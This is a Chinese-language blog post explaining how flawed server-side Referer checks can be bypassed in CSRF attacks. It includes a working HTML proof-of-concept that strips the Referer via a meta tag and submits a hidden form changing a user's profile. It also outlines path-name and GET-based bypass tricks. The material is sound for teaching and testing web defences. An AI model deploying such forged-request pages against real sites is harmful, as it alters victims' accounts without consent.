zoukankan      html  css  js  c++  java
  • CSRF绕过后端Referer校验

    CSRF绕过后端Referer校验分正常情况和不正常的情况,我们这里主要讨论开发在写校验referer程序时,不正常的情况下怎么进行绕过。

    正常情况

    正常的情况指服务器端校验Referer的代码没毛病,那么意味着前端是无法绕过的。

    我之前考虑过的方案:

    • JS修改Referer,失败;
    • 让用户点击第三方网站,但是浏览器就是使用第三方网站的referer,失败;

    不正常的情况

    不正常的情况指服务器端校验Referer的代码有漏洞,前端才能做到绕过,下面介绍几个可能会绕过Referer的案例;

    添加无Referer标签

    可以尝试无Referer标签,万一逻辑刚好没判断无Referer的情况呢;

    <meta name="referrer" content="never">

    <html>
      <meta name="referrer" content="never">
      <body>
      <script>history.pushState('', '', '/')</script>  <!-- 实现浏览器页面不刷新修改url链接 -->
        <form action="http://www.baidu.com/setProfile" method="POST">
          <input type="hidden" name="nickname" value="new22" />
          <input type="hidden" name="email" value="1&#64;1&#46;com" />
          <input type="hidden" name="team" value="new22" />
          <input type="hidden" name="address" value="new33" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>
    

    Web站点路径带着referer字段名

    原理就是在恶意网站的访问路径上创建成包含原本referer中有的字段名,如果服务端的校验规则只是判断是否包含,那就666了;


    GET型CSRF

    检验了HTTP Referer就一点问题都没有了吗?答案是:否定的,HTTP Referer只能检查点击的链接来源是来自站内还是站外,如果是GET方式的CSRF,那链接本身就是站内的,也就意味着检验HTTP Referer是无效的。

  • 相关阅读:
    ES6 新属性 Symbol
    box-shadow 属性详解
    在vue 中 使用 tinymce编辑器
    var let const 结合作用域 的探讨
    防抖和节流在vue中的应用
    分享几个按钮样式
    队列学习
    栈的学习
    Object—常用的遍历
    从零认识Java Package
  • 原文地址:https://www.cnblogs.com/mysticbinary/p/12161537.html
Copyright © 2011-2022 走看看